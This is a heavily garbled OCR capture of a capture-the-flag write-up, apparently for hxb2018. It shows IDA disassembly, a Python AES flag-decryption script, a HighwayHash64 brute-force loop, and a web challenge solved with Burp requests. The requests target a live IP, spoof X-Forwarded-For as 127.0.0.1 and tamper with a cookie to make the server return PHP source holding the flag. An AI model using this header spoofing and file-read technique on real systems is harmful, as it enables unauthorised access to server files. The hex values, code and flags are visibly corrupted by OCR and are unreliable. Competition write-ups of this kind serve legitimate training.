.rdata:000000014001AC50 db 61h, 35h, 57h, 0BSh, 86h, OClh, 1Dh, 9Eh, OElh, OF8h
.rdata:000000014001AC50 db 98h, 1lh, 69h, OD9h, 8Eh, 94h, 9Bh, 1Eh, 87h, OESh
.rdata:000000014001AC50 db OCEh, 55h, 28h, ODFh, 8Ch, OAlh, 89h, ODh, OBFh, OE6h
.rdata:000000014001AC50 db 42h, 68h, 41h, 99h, 2Dh, OFh, OBOh, 54h, OBBh, 16h
.rdata:000000014001AC50 db 52h, 9, 6Ah, OD5h, 30h, 36h, OASh, 38h, OBFh, 40h, OA3h
.rdata:000000014001AC50 db 9Eh, 8lh, OF3h, OD7h, OFBh, 7Ch, OE3h, 39h, 82h, 9Bh
.rdata:000000014001AC50 db 2Fh, OFFh, 87h, 34h, 8Eh, 43h, 44h, 0C4h, ODEh, OESh
.rdata:000000014001AC50 db OCBh, 54h, 7Bh, 94h, 32h, OA6h, 0C2h, 23h, 3Dh, OEEh
.rdata:000000014001AC50 db 4Cch, 95h, OBh, 42h, OFAh, 0C3h, 4Eh, 8, 2Eh, OAlh, 66h
.rdata:000000014001AC50 db 28h, OD9h, 24h, OB2h, 76h, 5Bh, OA2h, 49h, 6Dh, 8Bh
.rdata:000000014001AC50 db OD1h, 25h, 72h, OF8h, OF6h, 64h, 86h, 68h, 98h, 16h
.rdata:000000014001AC50 db OD4h, OA4h, 5Ch, OCCh, 5Dh, 65h, OB6h, 92h, 6Ch, 70h
.rdata:000000014001AC50 db 48h, 50h, OFDh, OEDh, OB9h, ODAh, 5Eh, 15h, 46h, 57h
.rdata:000000014001AC50 db OA7h, 8Dh, 9ph, 84h, 90h, OD8h, OABh, O, 8Ch, OBCh
.rdata:000000014001AC50 db 0D3h, OAh, OF7h, OE4h, 58h, 5, OB8h, OB3h, 45h, 6, ODOh
.rdata:000000014001AC50 db 2Ch, 1Eh, 8Fh, OCAh, 3Fh, OFh, 2, 0Clh, OAFh, OBDh
.rdata:000000014001AC50 db 3, 1, 13h, 8Ah, 6Bh, 3Ah, 91h, 11lh, 41h, 4Fh, 67h, ODCh

00019C50 000000014001AC50: .rdata:byte_14001AC50 (Synchronized with Hex View-1)

@ [E] En...

; DATA XREF: .text:0000000140011B18Tr



AESEH

[ —— -yt eem—————— - - wem—————— - i s s o P ——— [ -

.data:000000014001DAOD db 0

.data:000000014001DAOE db 0

.data:000000014001DAOF db 0

.data:000000014001DA10 ; HANDLE hObject

.data:000000014001DA10 hObject dq OFFFFFFFFFFFFFFFEh ; DATA XREF: putwch nolock+9Tr

.data:000000014001DA10
.data:000000014001DA18 byte_14001DA18 db 1
.data:000000014001DA18

putwch nolock+1BTr
DATA XREF: common control87:loc 140011640Tr
common control87:loc 140011657 Tw

.data:000000014001DA19 align 20h

.data:000000014001DA20 byte_14001DA20 db 1 ; DATA XREF: ctrlfp+34Tr
.data:000000014001DA20 ; ctrlfp:loc 140011EF9Tw
.data:000000014001DA21 align 10h

.data:000000014001DA30 db 75h ; u

.data:000000014001DA31 db 98h ; -

.data:000000014001DA32 db 0

.data:000000014001DA33 db 0

.data:000000014001DA34 db 0

.data:000000014001DA35 db 0

.data:000000014001DA36 db 0

.data:000000014001DA37 db 0

.data:000000014001DA38 db 0

.data:000000014001DA39 db 0

.data:000000014001DA3A db 0

.data:000000014001DA3B db 0 aes ke
.data:000000014001DA3C db 0 y
.data:000000014001DA3D db 0

data:000000014001DA3E Adh 0

.data:000000014001DA3F db 0

.data:000000014001DA40 byte_14001DA40 db 1Bh ; DATA XREF: sub 140001000+18Tr
.data:000000014001DA41 byte_14001DA41 db 2Eh ; DATA XREF: sub 140001000+2CTr
.data:000000014001DA42 byte_lAOOlDA&Z db 35h ; DATA XREF: sub 140001000+42Tr
.data:000000014001DA43 byte_14001DA43 db 46h ; DATA XREF: sub 140001000+4FTr
.data:000000014001DA44 byte_ 14001DA44 db 58h ; DATA XREF: sub 140001000+59Tr
.data:000000014001DA45 byte_14001DA45 db 6Eh ; DATA XREF: sub 140001000+63Tr
.data:000000014001DA46 byte_14001DA46 db 72h ; DATA XREF: sub 140001000+6DTr
.data:000000014001DA47 byte_14001DA47 db 86h ; DATA XREF: sub 140001000+77Tr
.data:000000014001DA48 byte_14001DA48 db 9Bh ; DATA XREF: sub 140001000+81Tr
.data:000000014001DA49 byte_14001DA49 db OA7h ; DATA XREF: sub 140001000+8BTr
.data:000000014001DA4A byte 14001DA4A db OB5h ; DATA XREF: sub 1400010004+95Tr
.data:000000014001DA4B byte 14001DA4B db O0C8h ; DATA XREF: sub 140001000+9FTr
.data:000000014001DA4C byte_l14001DA4C db ODSh ; DATA XREF: sub 140001000+A9Tr
.data:000000014001DA4D byte_14001DA4D db OEFh ; DATA XREF: sub 140001000+B3Tr
.data:000000014001DA4E byte_14001DA4E db OFFh ; DATA XREF: sub 140001000+BDTr
.data:000000014001DA4F byte_14001DA4F db OCh ; DATA XREF: sub 140001000+C7Tr
.data:000000014001DA50 dword_14001DA50 dd 0 ; DATA XREF: report gsfailure+60Tw
.data:000000014001DA50 } report securityfailure+54Tw ...
.data:000000014001DA54 dword_14001DA54 dd 0 ; DATA XREF: report gsfailure+6ATw
.data:000000014001DA54 ; report securityfailure+5ETw
.data:000000014001DA58 align 20h

0001C440 000000014001DA40: .data:byte_14001DA40 (Synchronized with Hex View-1)

% 5 A R o -

from Crypto.Cipher import AES

key = "\x1b\x2e\x35\x46\x58\x6e\x72\x86\x9b\xa7\xb5\xc8\xd9\xef\xff\x0c"
ciphertext = raw_input('please input ciphertext:').decode('hex")
decodesys = AES.new(key)

print decodesys.decrypt(ciphertext)[:16] + ciphertext[-16:] + '}'

$python decode.py

please input ciphertext:4dd78cfbcfcldbd9e8f31715b
hxb2018{3d39929451eebbabl658c@73}

0x09 Reverse HighwayHash64



U A RACRS A Flag A& -

lint _ _cdecl main(int argc, const char **argv, const char **envp)
2 {

3 signed __int64 v3; // rbx

4 signed __int64 v4; // rax

5 _ _int64 v5; // rax

6 int v7; // [rsp+20h] [rbp-138h]

7 char Dst[8]; // [rsp+30h] [rbp-128h]

8 char v9[264]; // [rsp+38h] [rbp-120h]

9

10 memset(Dst, 0, 0x104ui64);

11 sub_140001880("Please enter flag(Note:hxb2018{digital}:");
12 gets_s(Dst, 0x104ui64);

13 v3 = =1i64;

14 wv4 = -1i64;

15 do

16 ++vd;

17| while ( Dst[v4] );

18 v7 = v&;

19 if ( sub_1400017A0(&v7, 4i64) != -3236539321542973756i64 )
20 exit(1l);

21 v5 = (unsigned int)(v7 - 1);

22| if ( (unsigned int)v5 >= 0x104 )

23

24 _report_rangecheckfailure();

25 JUMPOUT (* (_QWORD *)&byte_1400019E1l);
26 )

27| Dst[v5] = O;

28 do

29 ++v3;

30/ while ( v9[v3] );

31 4if ( sub_1400017A0(v9, (unsigned int)v3) != -3997298765240930958i64 )
32 exit(1l);

33 sub_140001880("successful!\nplease entry any key exit...");

34 fgetchar();

35 return 0;

36}

lisigned ___int64 __ fastcall sub_140001000(__int64 al, _QWORD *a2)
2\{

3 signed __int64 result; // rax

4

5 a2[8] = 2010529398738701871i64;

6 a2[9] = 2596668379534143952i64;

7 a2[10] = 3682126100582921028i64;

8 a2[ll1l] = 4917766452702021843i64;

9 a2[l12] = 6616806072500811155i64;

10 a2[13] = 6966208159961680524164;

11 a2[14] = 91030137869545667641i64;

12 a2[15] = -88517877949173546331i64;

13 *a2 = 932457062009331518i64;

14 a2[l1l] = a2[9] ~ Ox3F3E3D3C3B3A1918i64;
15 a2[2] = a2[10] ~ 0x1226252423222121i64;
16 a2[3] = a2[11] ~ Ox2F2E2D2C2B2A2928i64;
17 a2[4] = a2[12] ~ 0x1312111117161514i64;

18 a2[5] a2[13] ~ 0x3B3A19183F3E3D3Ci64;
19 a2[6] = a2[14] ~ 0x2322212112262524i64;
20 result = a2[15] © 0x2B2A29282F2E2D2Ci64;
21| a2[7] = result;



return

state->mulo[@]
state->mulo[1]
state->mulo[2]
state->mul@[3]
state->mull[@]
state->mull|1l]
state->mull[2]
state->mull[3]

state->v0[ 0]
state->vO[1]
state->v0[ 2]
state->v@[3]
state->v1([@]
state->v1[1]
state->v1[2]
state->vl1|[3

R FH VA o -

now
now
now
now
now
now
now
now
now
now
Nnow
now
now
now

testing
testing
testing
testing
testing
testing
testing
testing
testing
testing
testing
testing
testing
testing

.

eset(const uilntb4_t
Ox1BEGDSDSFE4CCEZFull;
Ox24093822299F31D0ul l;
Ox33198A2EQ3707344ul1;
Ox443F6A8885A308D3ull;
Ox5BD39E10CBOEF593ull;
Ox60ACF169B5F18A8Cull;
Ox7ES5466CF34E90C6Cull;
Ox852821E638D@1377ull;

OxCFOCOC1EDSEDF3E;

state->mul@[1] A

state->mulo[2]
state->mulo[3]
state->mull[@]
state->mull[1]
state->mull[2]
state->mull[3

3070000000
3080000000
30950000000
3100000000
3110000000
3120000000
3130000000
3140000000
3150000000
3160000000
3170000000
3180000000
3190000000
3200000000

flag this :3205649871

Ox3F3E3D3C3B3A1918ull;
Ox1226252423222121ull,;
Ox2F2E2D2C2B2A2928ull;
9x1312111117161514ull;
@x3B3A19183F3E3D3Cull;
0x2322212112262524ull;
Ox2B2A29282F2E2D2Cull;

hitps:/blog.csdn.net/qq_35405258

https://blog.csdn.net/qq_35405259




while (1)
{

mstest(buffer, 0, 1024);

sprintf(buffer, "%0.1011d", count);

ret = HighwayHashé4(buffer, 10, key);
if (©x1CCB25A666AC646B == ret)
{
printf("flag th , buffer);
break;
¥
if (count % 10000000 == 0)
{
printf("now testing = %s\n", buffer);
¥

count ++;

flag:hxb2018{3205649871}

0x10 Web Mynot

BRI RARRD A Flag & -
BB . KIcookieH R FFFIMFE .

b Q AHome < Post badge

Upload Picture

x| AEIRERXA

submit

Warning: chdir(): Permission denied (errno 13) in /var/www/html/controllers/Controllers.php on line 141

Warning: move_uploaded_file(../upload/cc17c30cd111c7215fc8f51f8790e0e1/timg.jpg): failed to open stream: No such file or directory in
/var/www/html/controllers/Controllers.php on line 147

Warning: move_uploaded_file(): Unable to move '/tmp/phpmTzT54' to '../upload/cc17c30cd111c7215fc8f51f8790e0e1/timg.jpg’ in
/var/www/html/contr( FEREFXH -ollers.php on line 147
EfEREIN...

Request | Response
Raw ParamslHeaders Hex

POST /index.php/upload HTTP/1.1

Host: 47.107.239.135

Content=-Length: 83011

Cache-Control: max-age=0

Origin: http://47.107.239.135

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCDVScVYQMEYmGYCY
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14 0) AppleWebkKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.107.239.135/index.php/upload

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: PicturesT 3D; PHPSESSID=fm9vr4nd198a60hksjp9vcazsh

X-Forwarded-For: 127.0.0.1

Connection: close

—————— WebKitFormBoundaryCDVScVYQMEYmGYCY
Content-Disposition: form-data; name="upfile"; filename="timg.jpg"
Content-Type: image/jpeg
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ERR T2 2L AR AUS S SR AOIRAC SRR T XL X2 A

B cookie H Hpicture »

.
[ XX

ity Edition v1.7.36 - Te

Wheeve T T

porary Project

Burp Intruder Repeater Window Help

[ Target | Proxy | spider | scanner | intruder | Repeater | seq

| Project options | user options | Alerts |

| Go Cancel | [ <iv ][ >iv]
Request

u Params | Headers I Hex

GET /index.php/picture HTTP/1.1

Host: 47.107.239.135

Upgrade-Insecure-Reques

User-Agent: Mozilla/5.0 (anintosh, Intel Mac OS X 10 14 0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36

Accept:

taxtlht.ml,applinution/thlﬂml,npplicnlon/ml,q-o 9,image/webp, image/apng, */*;q=0.
8

Referer: http://47.107.239.135/index.php/note
Accept-Encoding: gzip, deflate
Accept-Language: zh=CN,zh;g=0.9
Cookie: Pictures=y 03AT iniqvLi. y
PI[PS!SSID-hnnusr351!0497kvb047651c42
X-Forwarded-For: 127.0.0.1

Connection: close

1030%3D;

baseb4ff% 2 J5: <?php
$flag = “hxb2018{b05c25bb0431166321eed47ebfo68b89}";
echo “flag{This_flag_iS_A_F4ke flag}’;

3 3flag:hxb2018{b05c25bb0431166321eed47ebfI968b89}

. X

Target: http://47.107.239.135 |22

Response

Enuderslrhxl

</ul>
</nav>

</div>
<l|-- /top nav -->
<div clan- copyrights >Collect from <a
href="http://www.cssmoban.com/" >{Pul| E“</V</div>
<div class="padding">
<div class="full col-sm-9">

<!/-=- content -->
<div class="row">

<1i class="spand">
<a href="#" class="thumbnail">

<ul class="thumbnails">

<
src="data:image/jpg;base64, PD9waHAKCiRMbGFNIDOGIMh4YJIWMTh7YJALYZI 1 YMIWNDMXMTY2MZ IX2
WVKNDA1YmYSNjhiOD19IjSKZWNObYAIiZmxhZ3tUaGlzX2ZsYWALfaVNIQVIGNGLLX2ZSYWAIIjsK" >
</a>
</1i>
</ul><!==post modal==>
<div id="postModal" class="modal fade" tabindex="-1"
aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content”>
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal"
aria-hidden="true">x</button>
Update Status
</div>

<div class="modal-body">
<form class="form center-block">
<div class="form-group">
<textarea class="form-control input-lg" autofocus=""
placeholder="wWhat do you want to share?"></textarea>
</div>
</form>
</div>
<div class="modal-footer">
<div>
<button class="btn btn-primary btn-sm" data-dismiss="modal"
aria-hidden="true">Post</button>
<ul class="pull-left list-inline"><li><a href=""><i class="glyphicon
glyphicon-upload”></i></a></li><li><a href=""><i class="glyphicon
glyphicon-camera"></i></a»</li»><li><a href=""><i class="glyphicon
glyphicon-map-marker"></i></a»</li»></ul>
</div>

role="dialog"

</div>
</div>
</div>
</div>
<l-- script references -->
<le-- <geriot
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